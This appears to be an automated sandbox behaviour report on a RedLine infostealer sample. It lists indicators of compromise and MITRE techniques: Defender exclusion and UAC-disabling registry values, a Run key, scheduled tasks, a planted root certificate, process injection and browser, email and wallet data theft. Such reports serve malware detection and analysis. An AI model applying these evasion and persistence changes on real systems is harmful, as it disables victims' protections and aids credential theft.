redline | f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a

System Information Discovery

Processes:

WerFault.exeSCQII_fAtTv1Az4DbZLxSg08.exeGSx68R4ufXjpRsU4B90lxJTQ.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	SCQII_fAtTv1Az4DbZLxSg08.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	SCQII_fAtTv1Az4DbZLxSg08.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GSx68R4ufXjpRsU4B90lxJTQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GSx68R4ufXjpRsU4B90lxJTQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WerFault.exe

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

LrHhyMYuc9S23ReWwYCIxhOi.exeALIqOa0D62qYicvAGMIekv2M.exeONywx0J2HmWfTh_mOePXwX92.exeliqian.exenMBTjPTR_VRll1ayTupcaPpK.exeAdvancedRun.exef6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exesonia_1.exeInstall.exesonia_5.exetUQiiePKbe6T1EpiAKRVgKRF.exesonia_7.exef9NAAMPQTHtLLjMMAer8AvOK.exeaiM4LTueVrh0X1r0IUx7qoYA.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	LrHhyMYuc9S23ReWwYCIxhOi.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	ALIqOa0D62qYicvAGMIekv2M.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	ONywx0J2HmWfTh_mOePXwX92.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	liqian.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	nMBTjPTR_VRll1ayTupcaPpK.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	AdvancedRun.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sonia_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sonia_5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	tUQiiePKbe6T1EpiAKRVgKRF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sonia_7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	f9NAAMPQTHtLLjMMAer8AvOK.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	aiM4LTueVrh0X1r0IUx7qoYA.exe

Loads dropped DLL 24 IoCs

Processes:

setup_install.exesonia_2.exerUNdlL32.eXezHZbfY3uQrpM_COn2AISjLP4.exeLrHhyMYuc9S23ReWwYCIxhOi.exetUQiiePKbe6T1EpiAKRVgKRF.exerUNdlL32.eXe

pid	process
4756	setup_install.exe
4756	setup_install.exe
4756	setup_install.exe
4756	setup_install.exe
4756	setup_install.exe
4756	setup_install.exe
4756	setup_install.exe
988	sonia_2.exe
3696	rUNdlL32.eXe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4092	LrHhyMYuc9S23ReWwYCIxhOi.exe
4092	LrHhyMYuc9S23ReWwYCIxhOi.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4964	tUQiiePKbe6T1EpiAKRVgKRF.exe
4964	tUQiiePKbe6T1EpiAKRVgKRF.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
4208	zHZbfY3uQrpM_COn2AISjLP4.exe
3576	rUNdlL32.eXe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 5 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

aiM4LTueVrh0X1r0IUx7qoYA.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	aiM4LTueVrh0X1r0IUx7qoYA.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	aiM4LTueVrh0X1r0IUx7qoYA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\aiM4LTueVrh0X1r0IUx7qoYA.exe = "0"	aiM4LTueVrh0X1r0IUx7qoYA.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	aiM4LTueVrh0X1r0IUx7qoYA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1"	aiM4LTueVrh0X1r0IUx7qoYA.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

jhuuee.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	jhuuee.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

aiM4LTueVrh0X1r0IUx7qoYA.exeSCQII_fAtTv1Az4DbZLxSg08.exeGSx68R4ufXjpRsU4B90lxJTQ.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	aiM4LTueVrh0X1r0IUx7qoYA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	aiM4LTueVrh0X1r0IUx7qoYA.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SCQII_fAtTv1Az4DbZLxSg08.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	GSx68R4ufXjpRsU4B90lxJTQ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

21 ip-api.com
29 ipinfo.io
30 ipinfo.io
146 ipinfo.io
Drops file in System32 directory 1 IoCs

Processes:

Install.exe

description ioc process

File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

elC1IuTQHFlKC2iq2DHRLZvj.exeExHltPJoOBc4jI24i_b46qU6.exeLrHhyMYuc9S23ReWwYCIxhOi.exe

pid process

3996 elC1IuTQHFlKC2iq2DHRLZvj.exe
4632 ExHltPJoOBc4jI24i_b46qU6.exe
4092 LrHhyMYuc9S23ReWwYCIxhOi.exe

flow	ioc
21	ip-api.com
29	ipinfo.io
30	ipinfo.io
146	ipinfo.io

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

pid	process
3996	elC1IuTQHFlKC2iq2DHRLZvj.exe
4632	ExHltPJoOBc4jI24i_b46qU6.exe
4092	LrHhyMYuc9S23ReWwYCIxhOi.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

WerFault.exeGSx68R4ufXjpRsU4B90lxJTQ.exeSCQII_fAtTv1Az4DbZLxSg08.exesonia_6.exeCSTkWFT5Bsp_Tb9jmK9lyEkl.exeaiM4LTueVrh0X1r0IUx7qoYA.exe

description	pid	process	target process
PID 1820 set thread context of 1596	1820	WerFault.exe	AppLaunch.exe
PID 4004 set thread context of 4504	4004	GSx68R4ufXjpRsU4B90lxJTQ.exe	AppLaunch.exe
PID 5048 set thread context of 3448	5048	SCQII_fAtTv1Az4DbZLxSg08.exe	AppLaunch.exe
PID 5112 set thread context of 5056	5112	sonia_6.exe	sonia_6.exe
PID 4664 set thread context of 2384	4664	CSTkWFT5Bsp_Tb9jmK9lyEkl.exe	CSTkWFT5Bsp_Tb9jmK9lyEkl.exe
PID 812 set thread context of 5076	812	aiM4LTueVrh0X1r0IUx7qoYA.exe	aiM4LTueVrh0X1r0IUx7qoYA.exe

Drops file in Windows directory 2 IoCs

Processes:

schtasks.exeaiM4LTueVrh0X1r0IUx7qoYA.exe

description	ioc	process
File created	C:\Windows\Tasks\booXbIzkEgfNdKvxAC.job	schtasks.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\66i2OKv6hdBe9X5H5.raw	aiM4LTueVrh0X1r0IUx7qoYA.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 13 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3076	4756	WerFault.exe	setup_install.exe
4012	4444	WerFault.exe	2QwfSAcAQDac6xNIKa6DLshA.exe
4636	864	WerFault.exe	sonia_3.exe
1000	3680	WerFault.exe	rcHhik6q5khYHcrBjUbxvR5t.exe
4952	4444	WerFault.exe	2QwfSAcAQDac6xNIKa6DLshA.exe
2204	3680	WerFault.exe	rcHhik6q5khYHcrBjUbxvR5t.exe
2624	2392	WerFault.exe	f9NAAMPQTHtLLjMMAer8AvOK.exe
4960	2392	WerFault.exe	f9NAAMPQTHtLLjMMAer8AvOK.exe
2484	3576	WerFault.exe	rUNdlL32.eXe
2624	2392	WerFault.exe	f9NAAMPQTHtLLjMMAer8AvOK.exe
3944	2392	WerFault.exe	f9NAAMPQTHtLLjMMAer8AvOK.exe
1408	2392	WerFault.exe	f9NAAMPQTHtLLjMMAer8AvOK.exe
3124	2016	WerFault.exe	Sta.exe.pif

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sonia_2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sonia_2.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

LrHhyMYuc9S23ReWwYCIxhOi.exezHZbfY3uQrpM_COn2AISjLP4.exeeecd538d-b018-4e18-8b5c-78e87f6263f2.exetUQiiePKbe6T1EpiAKRVgKRF.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	LrHhyMYuc9S23ReWwYCIxhOi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	LrHhyMYuc9S23ReWwYCIxhOi.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	zHZbfY3uQrpM_COn2AISjLP4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	zHZbfY3uQrpM_COn2AISjLP4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	eecd538d-b018-4e18-8b5c-78e87f6263f2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	eecd538d-b018-4e18-8b5c-78e87f6263f2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	tUQiiePKbe6T1EpiAKRVgKRF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	tUQiiePKbe6T1EpiAKRVgKRF.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

1300 schtasks.exe
4156 schtasks.exe
4512 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

384 timeout.exe
4568 timeout.exe
1840 timeout.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

4628 tasklist.exe
2212 tasklist.exe

pid	process
1300	schtasks.exe
4156	schtasks.exe
4512	schtasks.exe

pid	process
384	timeout.exe
4568	timeout.exe
1840	timeout.exe

pid	process
4628	tasklist.exe
2212	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1676 taskkill.exe
2020 taskkill.exe
3720 taskkill.exe

pid	process
1676	taskkill.exe
2020	taskkill.exe
3720	taskkill.exe

Modifies registry class 2 IoCs

Processes:

sonia_1.exeliqian.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	sonia_1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	liqian.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sonia_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sonia_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sonia_3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

sonia_2.exejfiag3g_gg.exeelC1IuTQHFlKC2iq2DHRLZvj.exeExHltPJoOBc4jI24i_b46qU6.exeLrHhyMYuc9S23ReWwYCIxhOi.exe

pid	process
988	sonia_2.exe
988	sonia_2.exe
2324	jfiag3g_gg.exe
2324	jfiag3g_gg.exe
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
3996	elC1IuTQHFlKC2iq2DHRLZvj.exe
3996	elC1IuTQHFlKC2iq2DHRLZvj.exe
2996
2996
2996
2996
4632	ExHltPJoOBc4jI24i_b46qU6.exe
4632	ExHltPJoOBc4jI24i_b46qU6.exe
2996
2996
2996
2996
2996
2996
2996
2996
4092	LrHhyMYuc9S23ReWwYCIxhOi.exe
4092	LrHhyMYuc9S23ReWwYCIxhOi.exe
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996
2996

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2996
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

sonia_2.exe

pid process

988 sonia_2.exe

pid	process
2996

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

ExHltPJoOBc4jI24i_b46qU6.exeelC1IuTQHFlKC2iq2DHRLZvj.exenMBTjPTR_VRll1ayTupcaPpK.exe

description	pid	process
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeDebugPrivilege	4632	ExHltPJoOBc4jI24i_b46qU6.exe
Token: SeDebugPrivilege	3996	elC1IuTQHFlKC2iq2DHRLZvj.exe
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeShutdownPrivilege	2996
Token: SeCreatePagefilePrivilege	2996
Token: SeDebugPrivilege	5004	nMBTjPTR_VRll1ayTupcaPpK.exe
Token: SeShutdownPrivilege	2996

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

Sta.exe.pif

pid process

2316 Sta.exe.pif
2996
2996
2316 Sta.exe.pif
2316 Sta.exe.pif
2996
2996
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Sta.exe.pif

pid process

2316 Sta.exe.pif
2316 Sta.exe.pif
2316 Sta.exe.pif

pid	process
2316	Sta.exe.pif
2996
2996
2316	Sta.exe.pif
2316	Sta.exe.pif
2996
2996

pid	process
2316	Sta.exe.pif
2316	Sta.exe.pif
2316	Sta.exe.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_4.exesonia_5.exe

description	pid	process	target process
PID 4712 wrote to memory of 4756	4712	f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exe	setup_install.exe
PID 4712 wrote to memory of 4756	4712	f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exe	setup_install.exe
PID 4712 wrote to memory of 4756	4712	f6f649c6c0675c2f7f0df88ed53c56b943abd6922a546f02b1d0ab13aed2123a.exe	setup_install.exe
PID 4756 wrote to memory of 2212	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2212	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2212	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2236	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2236	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2236	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 3344	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 3344	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 3344	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2556	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2556	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2556	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2928	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2928	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2928	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2952	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2952	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2952	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2936	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2936	4756	setup_install.exe	cmd.exe
PID 4756 wrote to memory of 2936	4756	setup_install.exe	cmd.exe
PID 2212 wrote to memory of 4504	2212	cmd.exe	sonia_1.exe
PID 2212 wrote to memory of 4504	2212	cmd.exe	sonia_1.exe
PID 2212 wrote to memory of 4504	2212	cmd.exe	sonia_1.exe
PID 3344 wrote to memory of 864	3344	cmd.exe	sonia_3.exe
PID 3344 wrote to memory of 864	3344	cmd.exe	sonia_3.exe
PID 3344 wrote to memory of 864	3344	cmd.exe	sonia_3.exe
PID 2236 wrote to memory of 988	2236	cmd.exe	sonia_2.exe
PID 2236 wrote to memory of 988	2236	cmd.exe	sonia_2.exe
PID 2236 wrote to memory of 988	2236	cmd.exe	sonia_2.exe
PID 2952 wrote to memory of 5112	2952	cmd.exe	sonia_6.exe
PID 2952 wrote to memory of 5112	2952	cmd.exe	sonia_6.exe
PID 2952 wrote to memory of 5112	2952	cmd.exe	sonia_6.exe
PID 2936 wrote to memory of 4836	2936	cmd.exe	sonia_7.exe
PID 2936 wrote to memory of 4836	2936	cmd.exe	sonia_7.exe
PID 2936 wrote to memory of 4836	2936	cmd.exe	sonia_7.exe
PID 2556 wrote to memory of 4388	2556	cmd.exe	sonia_4.exe
PID 2556 wrote to memory of 4388	2556	cmd.exe	sonia_4.exe
PID 2556 wrote to memory of 4388	2556	cmd.exe	sonia_4.exe
PID 2928 wrote to memory of 4972	2928	cmd.exe	sonia_5.exe
PID 2928 wrote to memory of 4972	2928	cmd.exe	sonia_5.exe
PID 2928 wrote to memory of 4972	2928	cmd.exe	sonia_5.exe
PID 4388 wrote to memory of 2944	4388	sonia_4.exe	jfiag3g_gg.exe
PID 4388 wrote to memory of 2944	4388	sonia_4.exe	jfiag3g_gg.exe
PID 4388 wrote to memory of 2944	4388	sonia_4.exe	jfiag3g_gg.exe
PID 4388 wrote to memory of 2324	4388	sonia_4.exe	jfiag3g_gg.exe
PID 4388 wrote to memory of 2324	4388	sonia_4.exe	jfiag3g_gg.exe
PID 4388 wrote to memory of 2324	4388	sonia_4.exe	jfiag3g_gg.exe
PID 4972 wrote to memory of 812	4972	sonia_5.exe	aiM4LTueVrh0X1r0IUx7qoYA.exe
PID 4972 wrote to memory of 812	4972	sonia_5.exe	aiM4LTueVrh0X1r0IUx7qoYA.exe
PID 4972 wrote to memory of 812	4972	sonia_5.exe	aiM4LTueVrh0X1r0IUx7qoYA.exe
PID 4972 wrote to memory of 4444	4972	sonia_5.exe	2QwfSAcAQDac6xNIKa6DLshA.exe
PID 4972 wrote to memory of 4444	4972	sonia_5.exe	2QwfSAcAQDac6xNIKa6DLshA.exe
PID 4972 wrote to memory of 4444	4972	sonia_5.exe	2QwfSAcAQDac6xNIKa6DLshA.exe
PID 4972 wrote to memory of 5004	4972	sonia_5.exe	nMBTjPTR_VRll1ayTupcaPpK.exe
PID 4972 wrote to memory of 5004	4972	sonia_5.exe	nMBTjPTR_VRll1ayTupcaPpK.exe
PID 4972 wrote to memory of 5004	4972	sonia_5.exe	nMBTjPTR_VRll1ayTupcaPpK.exe
PID 4972 wrote to memory of 3996	4972	sonia_5.exe	elC1IuTQHFlKC2iq2DHRLZvj.exe
PID 4972 wrote to memory of 3996	4972	sonia_5.exe	elC1IuTQHFlKC2iq2DHRLZvj.exe
